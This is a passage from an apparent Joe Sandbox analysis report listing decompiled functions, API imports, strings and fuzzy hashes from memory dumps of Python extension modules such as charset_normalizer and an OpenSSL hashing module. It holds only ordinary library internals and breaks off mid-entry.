PyErr_ExceptionMatches.PYTHON313 ref: 00007FF810C440A1
PyErr_Clear.PYTHON313 ref: 00007FF810C440AF
PyDict_SetItem.PYTHON313 ref: 00007FF810C440C0
_Py_Dealloc.PYTHON313 ref: 00007FF810C440D7
_Py_Dealloc.PYTHON313 ref: 00007FF810C44103

Strings

__mypyc_attrs__ is not a tuple, xrefs: 00007FF810C4400D
__mypyc_attrs__, xrefs: 00007FF810C43FD9

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$Err_$AttrDict_Object_String$ClearExceptionItemMatches
String ID: __mypyc_attrs__$__mypyc_attrs__ is not a tuple
API String ID: 2346549887-4201147154
Opcode ID: a8e8f51b7583265eaf36738ddb96473f6f243f26c9c4bdd76c07533395e31823
Instruction ID: 8b55526ac261335ba1a7c1749620ed11c5f42d517ea4fc34d6fdbd3c7e0fc1f5
Opcode Fuzzy Hash: a8e8f51b7583265eaf36738ddb96473f6f243f26c9c4bdd76c07533395e31823
Instruction Fuzzy Hash: 41410B35B08E0286EB558F12ED54239B7A0BF64FE5F544631CA4E8AB60DF3DE4A58B01

Function 00007FF810C95C58 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 86threadCOMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C95CA5
PyObject_CheckBuffer.PYTHON313 ref: 00007FF810C95CB5
PyObject_GetBuffer.PYTHON313 ref: 00007FF810C95CD3
PyErr_SetString.PYTHON313 ref: 00007FF810C95CF6
PyBuffer_Release.PYTHON313 ref: 00007FF810C95D01
PyEval_SaveThread.PYTHON313 ref: 00007FF810C95D31
HMAC_Update.LIBCRYPTO-3 ref: 00007FF810C95D54
PyEval_RestoreThread.PYTHON313 ref: 00007FF810C95D67
HMAC_Update.LIBCRYPTO-3 ref: 00007FF810C95D80
PyBuffer_Release.PYTHON313 ref: 00007FF810C95D8D

Strings

Strings must be encoded before hashing, xrefs: 00007FF810C95C94
object supporting the buffer API required, xrefs: 00007FF810C95CBF
Buffer must be single dimension, xrefs: 00007FF810C95CEC

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: BufferBuffer_Err_Eval_Object_ReleaseStringThreadUpdate$CheckRestoreSave
String ID: Buffer must be single dimension$Strings must be encoded before hashing$object supporting the buffer API required
API String ID: 2268293675-2943709887
Opcode ID: 7d94d48ec1acb3bfec3b7f4eafe1c612b89fc347d8515680fb43b4c00982cab0
Instruction ID: fecb3ec4375e10ef218f4477a9cca34773224cc63fed9777cef2ddc03ac953a5
Opcode Fuzzy Hash: 7d94d48ec1acb3bfec3b7f4eafe1c612b89fc347d8515680fb43b4c00982cab0
Instruction Fuzzy Hash: 874121A2A1CE82C2EB608B61ED542796360FF99BE4F045331D98E477A5DF2CE584CB40

Function 00007FF810C91C10 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 59COMMON

Download Yara Rule

APIs

ERR_peek_last_error.LIBCRYPTO-3 ref: 00007FF810C91C28
PyErr_FormatV.PYTHON313 ref: 00007FF810C91C4A
ERR_clear_error.LIBCRYPTO-3 ref: 00007FF810C91C63
ERR_lib_error_string.LIBCRYPTO-3 ref: 00007FF810C91C6B
ERR_func_error_string.LIBCRYPTO-3 ref: 00007FF810C91C76
ERR_reason_error_string.LIBCRYPTO-3 ref: 00007FF810C91C81
PyErr_Format.PYTHON313 ref: 00007FF810C91CA9
PyErr_SetString.PYTHON313 ref: 00007FF810C94BA9

Strings

no reason supplied, xrefs: 00007FF810C94BA2
[%s: %s] %s, xrefs: 00007FF810C94BBD
[%s] %s, xrefs: 00007FF810C91CA2

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Err_$Format$R_clear_errorR_func_error_stringR_lib_error_stringR_peek_last_errorR_reason_error_stringString
String ID: [%s: %s] %s$[%s] %s$no reason supplied
API String ID: 748225740-1501659929
Opcode ID: 2385472635e3c984c3c4b94a13ba95db855959daa8ee4a743768d2092ec8f9fd
Instruction ID: c193864f7bccc165872c0cbeb2be71e3aaf901f6c7ade3f5a5ae0726c53d0e3a
Opcode Fuzzy Hash: 2385472635e3c984c3c4b94a13ba95db855959daa8ee4a743768d2092ec8f9fd
Instruction Fuzzy Hash: D2213BE1A0CF42C6EB149BA1BC0447D62A5BF89BE1F544234E94E07BA9DF3CE459CB00

Function 00007FF810C43610 Relevance: 22.8, APIs: 5, Strings: 8, Instructions: 19COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,00007FF810C414E8), ref: 00007FF810C43619
fprintf.MSPDB140-MSVCRT ref: 00007FF810C43629

Part of subcall function 00007FF810C41010: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF810C41047

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,00007FF810C414E8), ref: 00007FF810C43633
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,00007FF810C414E8), ref: 00007FF810C4363C
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF810C414E8), ref: 00007FF810C43642

Strings

fatal: out of memory, xrefs: 00007FF810C43622
__qualname__, xrefs: 00007FF810C436C5
builtins, xrefs: 00007FF810C436ED
__module__, xrefs: 00007FF810C43697
tuple[<%d items>], xrefs: 00007FF810C43764
None, xrefs: 00007FF810C43662
%U.%U, xrefs: 00007FF810C43712
%U%U%s, xrefs: 00007FF810C437DE

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: __acrt_iob_func$__stdio_common_vfprintfabortfflushfprintf
String ID: %U%U%s$%U.%U$None$__module__$__qualname__$builtins$fatal: out of memory$tuple[<%d items>]
API String ID: 3462009215-2533303582
Opcode ID: 8e5322dc658531d7bde6598f1e4828a6293fd0c95a5b3f3f63833afbb6435f14
Instruction ID: a349c3cf2754e32882ab387de84eae70a2685d3435e9e5866a07ce4cf04a7901
Opcode Fuzzy Hash: 8e5322dc658531d7bde6598f1e4828a6293fd0c95a5b3f3f63833afbb6435f14
Instruction Fuzzy Hash: CFD06258F15D1242E7046761EC7937D3615AF747E1F400638C58F46365DD1D64445B51

Function 00007FF810C95720 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 95COMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON313 ref: 00007FF810C9573F
PyErr_SetString.PYTHON313 ref: 00007FF810C95764
PyErr_SetString.PYTHON313 ref: 00007FF810C95787

Strings

Missing required parameter 'digestmod'., xrefs: 00007FF810C9577D
key is too long., xrefs: 00007FF810C9575A

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Err_String$Module_State
String ID: Missing required parameter 'digestmod'.$key is too long.
API String ID: 450183790-3184708805
Opcode ID: 7dc9a8c719d1cbf1c5fa7d8949e05ea40c66a1c6bd53a34a7611b19a6f123b1c
Instruction ID: 323d565587f7efc48e25dbef9b6b11b81fe97133f6748b8c40f0bcaafc356474
Opcode Fuzzy Hash: 7dc9a8c719d1cbf1c5fa7d8949e05ea40c66a1c6bd53a34a7611b19a6f123b1c
Instruction Fuzzy Hash: DC4106A1A0CE42C1EB149B92AC5423963A1BF98FE4F584635DD1E4B7E9DF3CE405CB04

Function 00007FF810C53F30 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

PyModule_Create2.PYTHON313 ref: 00007FF810C53F6A
PyCapsule_New.PYTHON313 ref: 00007FF810C53F94
PyObject_SetAttrString.PYTHON313 ref: 00007FF810C53FB7
_Py_Dealloc.PYTHON313 ref: 00007FF810C53FCD
PyCapsule_New.PYTHON313 ref: 00007FF810C53FE8
PyObject_SetAttrString.PYTHON313 ref: 00007FF810C54007
_Py_Dealloc.PYTHON313 ref: 00007FF810C5401D

Strings

exports, xrefs: 00007FF810C53FAD
charset_normalizer.md__mypyc.init_charset_normalizer___md, xrefs: 00007FF810C53FDA
charset_normalizer.md__mypyc.exports, xrefs: 00007FF810C53F86
init_charset_normalizer___md, xrefs: 00007FF810C53FFD

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: AttrCapsule_DeallocObject_String$Create2Module_
String ID: charset_normalizer.md__mypyc.exports$charset_normalizer.md__mypyc.init_charset_normalizer___md$exports$init_charset_normalizer___md
API String ID: 2519120496-2411258805
Opcode ID: 0d80361ff97ae46f12aed85b345b752f6a12d1682f74ab64eae6b1f87241ff0b
Instruction ID: e9558371727bcb386ff981a37e60ffb3c676bfd8948b0824152eaebe3c609822
Opcode Fuzzy Hash: 0d80361ff97ae46f12aed85b345b752f6a12d1682f74ab64eae6b1f87241ff0b
Instruction Fuzzy Hash: 6F311629B19E0781FF158B25EC9467523A0AFB4BE4F984235DA8F467A5DE3DE484CF00

Function 00007FF810C92440 Relevance: 19.6, APIs: 13, Instructions: 70COMMON

Download Yara Rule

APIs

PyMem_Malloc.PYTHON313 ref: 00007FF810C92458
EVP_MD_CTX_new.LIBCRYPTO-3 ref: 00007FF810C9246F
EVP_DigestFinalXOF.LIBCRYPTO-3 ref: 00007FF810C9249D
EVP_MD_CTX_free.LIBCRYPTO-3 ref: 00007FF810C924AE
_Py_strhex.PYTHON313 ref: 00007FF810C924BA
PyMem_Free.PYTHON313 ref: 00007FF810C924C6
PyErr_NoMemory.PYTHON313 ref: 00007FF810C94D76
PyMem_Free.PYTHON313 ref: 00007FF810C94D86
PyErr_NoMemory.PYTHON313 ref: 00007FF810C94D8C

Part of subcall function 00007FF810C926A0: EVP_MD_CTX_copy.LIBCRYPTO-3(?,?,00000000,00007FF810C9248C), ref: 00007FF810C926C2

PyMem_Free.PYTHON313 ref: 00007FF810C94D9C
EVP_MD_CTX_free.LIBCRYPTO-3 ref: 00007FF810C94DA5
PyMem_Free.PYTHON313 ref: 00007FF810C94DC5
EVP_MD_CTX_free.LIBCRYPTO-3 ref: 00007FF810C94DCE

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Mem_$Free$X_free$Err_Memory$DigestFinalMallocPy_strhexX_copyX_new
String ID:
API String ID: 422439089-0
Opcode ID: 2a2d910f4d16862cac1ef5a63f4b4190fe9e03e1a8e5ec30e94ca91cde7686a4
Instruction ID: 78a4e08b08be9608c50b83194b2d7c99e192d39de67ba08f06e5c64f30c9103e
Opcode Fuzzy Hash: 2a2d910f4d16862cac1ef5a63f4b4190fe9e03e1a8e5ec30e94ca91cde7686a4
Instruction Fuzzy Hash: 1A21E9A5B1DE02C1EB54EBA2AD5403D63A1AF8DFE1B084631DD4F47BA5EF2CE045CA10

Function 00007FF810C43900 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PyThreadState_Get.PYTHON313 ref: 00007FF810C43922
PyErr_Fetch.PYTHON313 ref: 00007FF810C4393A
PyCode_NewEmpty.PYTHON313 ref: 00007FF810C4394D
PyFrame_New.PYTHON313 ref: 00007FF810C43967
_Py_Dealloc.PYTHON313 ref: 00007FF810C43982
_PyErr_ChainExceptions1.PYTHON313 ref: 00007FF810C4398D
PyErr_Restore.PYTHON313 ref: 00007FF810C439BA
PyTraceBack_Here.PYTHON313 ref: 00007FF810C439C3
_Py_Dealloc.PYTHON313 ref: 00007FF810C439D7
_Py_Dealloc.PYTHON313 ref: 00007FF810C439EB

Strings

charset_normalizer\md.py, xrefs: 00007FF810C43943

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocErr_$Back_ChainCode_EmptyExceptions1FetchFrame_HereRestoreState_ThreadTrace
String ID: charset_normalizer\md.py
API String ID: 1599779757-1392889821
Opcode ID: 416c820b1e2787eb9c3cbae176709b3d80b0f3ae48d96204655604fc47168b89
Instruction ID: 0639b89743380bac587ca384f1dacf54c6dc60dc2d9378bfd376b6b3efc22a38
Opcode Fuzzy Hash: 416c820b1e2787eb9c3cbae176709b3d80b0f3ae48d96204655604fc47168b89
Instruction Fuzzy Hash: 1A210A36A08F4281EB149F11ED5426DB3A0FFA4BE5F444235DA8E86B68DF7CE584CB40

Function 00007FF810C4E310 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 154COMMON

Download Yara Rule

APIs

PyErr_Occurred.PYTHON313(?,?,?,?,?,00007FF810C47D3E), ref: 00007FF810C4E3A3
PyLong_FromSsize_t.PYTHON313(?,?,?,?,?,00007FF810C47D3E), ref: 00007FF810C4E3F2
PyLong_FromSsize_t.PYTHON313(?,?,?,?,?,00007FF810C47D3E), ref: 00007FF810C4E41E
PyObject_RichCompareBool.PYTHON313(?,?,?,?,?,00007FF810C47D3E), ref: 00007FF810C4E435
_Py_Dealloc.PYTHON313(?,?,?,?,?,00007FF810C47D3E), ref: 00007FF810C4E44B
_Py_Dealloc.PYTHON313(?,?,?,?,?,00007FF810C47D3E), ref: 00007FF810C4E45F

Strings

ratio, xrefs: 00007FF810C4E3B9
__init__, xrefs: 00007FF810C4E4A9, 00007FF810C4E51B
charset_normalizer.md.CjkInvalidStopPlugin, xrefs: 00007FF810C4E508

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocFromLong_Ssize_t$BoolCompareErr_Object_OccurredRich
String ID: __init__$charset_normalizer.md.CjkInvalidStopPlugin$ratio
API String ID: 871640449-4126926341
Opcode ID: 7f1f05127e6c30525c3dda9ab5fca78e152e233460b7e214ef8cf9762325f7a3
Instruction ID: eba7d4a8e7cf66d476ac6c6d14dac64e331e60d3b9b9c4bd00a078dc1babc588
Opcode Fuzzy Hash: 7f1f05127e6c30525c3dda9ab5fca78e152e233460b7e214ef8cf9762325f7a3
Instruction Fuzzy Hash: 20519D25E1CE0681EB159F65AC102B973A1BF24BF4F494331DA8E8B7A1DF2CE4818F40

Function 00007FF810C44940 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON313 ref: 00007FF810C44972
PyLong_FromSsize_t.PYTHON313 ref: 00007FF810C4499E
PySlice_New.PYTHON313 ref: 00007FF810C449C8
_Py_Dealloc.PYTHON313 ref: 00007FF810C449DF
_Py_Dealloc.PYTHON313 ref: 00007FF810C449F3
PyObject_GetItem.PYTHON313 ref: 00007FF810C44A04
_Py_Dealloc.PYTHON313 ref: 00007FF810C44A1B
PyErr_SetString.PYTHON313 ref: 00007FF810C44A6E

Strings

interpreted classes cannot inherit from compiled, xrefs: 00007FF810C44A64

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$FromLong_Ssize_t$Err_ItemObject_Slice_String
String ID: interpreted classes cannot inherit from compiled
API String ID: 575668516-2110327174
Opcode ID: c414ab40b187d06c8aa60036697e656ab81642fdfdfc5955c28d1e3d7d11f432
Instruction ID: 676e9f42bcd25719172489d2cffcd0d622f64d1acfe99d1da97029795e6c8d27
Opcode Fuzzy Hash: c414ab40b187d06c8aa60036697e656ab81642fdfdfc5955c28d1e3d7d11f432
Instruction Fuzzy Hash: 57419F35F59E4281EB148F25AD54279B2A0BF64BF0F684330DA5E8A7D4DF2CE4419B00

Function 00007FF810C4A4C0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF810C413B0: PyNumber_Add.PYTHON313 ref: 00007FF810C41450
Part of subcall function 00007FF810C413B0: _Py_Dealloc.PYTHON313 ref: 00007FF810C41470
Part of subcall function 00007FF810C413B0: _Py_Dealloc.PYTHON313 ref: 00007FF810C41484

PyDict_GetItemWithError.PYTHON313 ref: 00007FF810C4A513
PyErr_Occurred.PYTHON313 ref: 00007FF810C4A521
PyErr_SetObject.PYTHON313 ref: 00007FF810C4A539
PyObject_Vectorcall.PYTHON313 ref: 00007FF810C4A570
_Py_Dealloc.PYTHON313 ref: 00007FF810C4A587
_Py_Dealloc.PYTHON313 ref: 00007FF810C4A5CA

Strings

feed, xrefs: 00007FF810C4A5DC
bool, xrefs: 00007FF810C4A5A2

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$Err_$Dict_ErrorItemNumber_ObjectObject_OccurredVectorcallWith
String ID: bool$feed
API String ID: 3589194245-2849697477
Opcode ID: cb209bcd64631140057ac1c69aa41e27a67b8d4bf05a86a9a1de81001aed7f9b
Instruction ID: 728c43e481e7cc837aee10f135ac51f8da6638790e315a336548f8683ace8f84
Opcode Fuzzy Hash: cb209bcd64631140057ac1c69aa41e27a67b8d4bf05a86a9a1de81001aed7f9b
Instruction Fuzzy Hash: A1413125B09E0281EB149F19ED552B973A1BF68BF4F444234DA4E8B795DE2DE4808F50

Function 00007FF810C4AAC0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

PyDict_GetItemWithError.PYTHON313 ref: 00007FF810C4AAF0
PyErr_Occurred.PYTHON313 ref: 00007FF810C4AAFE
PyErr_SetObject.PYTHON313 ref: 00007FF810C4AB16
PyObject_GetItem.PYTHON313 ref: 00007FF810C4AB29
PyObject_Vectorcall.PYTHON313 ref: 00007FF810C4AB4D
_Py_Dealloc.PYTHON313 ref: 00007FF810C4AB64
_Py_Dealloc.PYTHON313 ref: 00007FF810C4ABA9

Strings

feed, xrefs: 00007FF810C4ABBC
bool, xrefs: 00007FF810C4AB7F

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocErr_ItemObject_$Dict_ErrorObjectOccurredVectorcallWith
String ID: bool$feed
API String ID: 2902451266-2849697477
Opcode ID: 5e3cf7093e715f7f3813404fa5bfa077ffbfc89253aabc05779a1c5bc0f014b6
Instruction ID: 2cf1e440abb2cce480844589d89a2b256a895bc2ddecd8b81bb37508b17c02ab
Opcode Fuzzy Hash: 5e3cf7093e715f7f3813404fa5bfa077ffbfc89253aabc05779a1c5bc0f014b6
Instruction Fuzzy Hash: 8A413235B09E0282EB259F15EC5527973A1FF68BF4F484231DA8E8B791DE2DE4818F50

Function 00007FF810C82660 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 103timeCOMMON

Download Yara Rule

APIs

_PyTime_FromSecondsObject.PYTHON313 ref: 00007FF810C8269B
PyErr_SetString.PYTHON313 ref: 00007FF810C826C0
_PyDeadline_Init.PYTHON313 ref: 00007FF810C826CD
_PyDeadline_Get.PYTHON313 ref: 00007FF810C826F8
_PyParkingLot_Park.PYTHON313 ref: 00007FF810C82738
Py_MakePendingCalls.PYTHON313 ref: 00007FF810C82757
PyType_GetModule.PYTHON313 ref: 00007FF810C8276D
PyErr_SetNone.PYTHON313 ref: 00007FF810C8277B

Strings

'timeout' must be a non-negative number, xrefs: 00007FF810C826B6

Memory Dump Source

Source File: 0000001D.00000002.2001914623.00007FF810C81000.00000020.00000001.01000000.0000005B.sdmp, Offset: 00007FF810C80000, based on PE: true

Associated: 0000001D.00000002.2001845112.00007FF810C80000.00000002.00000001.01000000.0000005B.sdmpDownload File
Associated: 0000001D.00000002.2001976863.00007FF810C83000.00000002.00000001.01000000.0000005B.sdmpDownload File
Associated: 0000001D.00000002.2002038707.00007FF810C85000.00000004.00000001.01000000.0000005B.sdmpDownload File
Associated: 0000001D.00000002.2002106651.00007FF810C86000.00000002.00000001.01000000.0000005B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c80000_check.jbxd

Similarity

API ID: Deadline_Err_$CallsFromInitLot_MakeModuleNoneObjectParkParkingPendingSecondsStringTime_Type_
String ID: 'timeout' must be a non-negative number
API String ID: 2028550746-3191630018
Opcode ID: 3a92d484a7cde47c910a3770255c668bf40d9c471ffea37698e5f64279232127
Instruction ID: 676923f1d0aece6dd90f32dca2434e4b5ee2577441f10fa496a6fcca06b32683
Opcode Fuzzy Hash: 3a92d484a7cde47c910a3770255c668bf40d9c471ffea37698e5f64279232127
Instruction Fuzzy Hash: 4A413025618F4682EB608B16E8483696361FF84FE4F145332DE5E47BA4EF7DE4449B04

Function 00007FF810C4F7F0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

PyDict_GetItemWithError.PYTHON313 ref: 00007FF810C4F820
PyErr_Occurred.PYTHON313 ref: 00007FF810C4F82E
PyErr_SetObject.PYTHON313 ref: 00007FF810C4F846
PyObject_GetItem.PYTHON313 ref: 00007FF810C4F859
PyObject_Vectorcall.PYTHON313 ref: 00007FF810C4F87D
_Py_Dealloc.PYTHON313 ref: 00007FF810C4F894
_Py_Dealloc.PYTHON313 ref: 00007FF810C4F8D9

Strings

bool, xrefs: 00007FF810C4F8AF
eligible, xrefs: 00007FF810C4F8EC

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocErr_ItemObject_$Dict_ErrorObjectOccurredVectorcallWith
String ID: bool$eligible
API String ID: 2902451266-3320767611
Opcode ID: f98b232cd4f5241d1f3d1c4daec38e322560510c2636ae8078de315a9dc19000
Instruction ID: e2ea143fb7de70a48ea583f62ddf7ef7d6347ebe44ef652dedfeecf53fa08b20
Opcode Fuzzy Hash: f98b232cd4f5241d1f3d1c4daec38e322560510c2636ae8078de315a9dc19000
Instruction Fuzzy Hash: 3E31F925F09E4381EB548B12ED5827973A0FF65BE4F488631D98E8F7A5DF2DE4818B10

Function 00007FF810C710D0 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF810C710F8
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF810C7114A
